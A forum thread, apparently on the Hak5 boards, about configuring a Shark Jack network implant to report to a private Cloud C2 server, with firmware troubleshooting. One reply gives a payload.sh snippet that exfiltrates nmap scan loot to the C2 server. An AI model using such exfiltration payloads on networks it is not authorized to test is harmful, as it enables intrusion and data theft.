Shark Jack C2 Connection

[mxte]

Hi Guys,

First post & First Hak5 tool purchased, yay! :)

I just got the Shark Jack and have been trying to get it set up with the C2 instance I've created on a private server. I have upgraded the firmware to 1.0.1 and copying the device.config to /etc, I understand you need to edit the payload.sh to communicate with C2. Can anyone give me any insight on where I can find this info or send me the default payload with the C2 code built in for me to take a look?

Thanks

And shout out to ScriptMonkey_ with the unofficial recovery guide, my initial firmware update was not so successful hah!

[mxte]

I was actually able to figure this out with some tinkering in the SSH blinking payload.

[PaPPy]

can you share details, in case others run into issues?

[Lobodawg]

Need some help here. There's no /etc/init.d/c2 and can't find anywhere to get it.

[mxte]

17 hours ago, PaPPy said:

can you share details, in case others run into issues?

I added the following to my payload.sh to send loot to my C2;

NETMODE DHCP
C2CONNECT
C2EXFIL STRING /root/loot/nmap/*.txt
C2DISCONNECT

That was enough to get it to my C2. You do need to update the firmware & add the device.config to get to this point.

[theguy]

For me that gets me:

NETMODE: command not found
C2CONNECT: command not found
C2DISCONNECT: command not found

Is there anything you changed before to have these commands apart from upgrading to the newest firmware (what I also did)?

[theguy]

OK, nevermind!

It seems like the firmware upgrade does not work with the sharkjack.sh tool. I did it manually now as described by ScriptMonkey_ here.

Now it works like a charm!

 

Thanks anyway 🙂

 

[mxte]

22 hours ago, theguy said:

OK, nevermind!

It seems like the firmware upgrade does not work with the sharkjack.sh tool. I did it manually now as described by ScriptMonkey_ here.

Now it works like a charm!

 

Thanks anyway 🙂

 

Awesome,

Yes I believe they added the C2 commands on the latest firmware.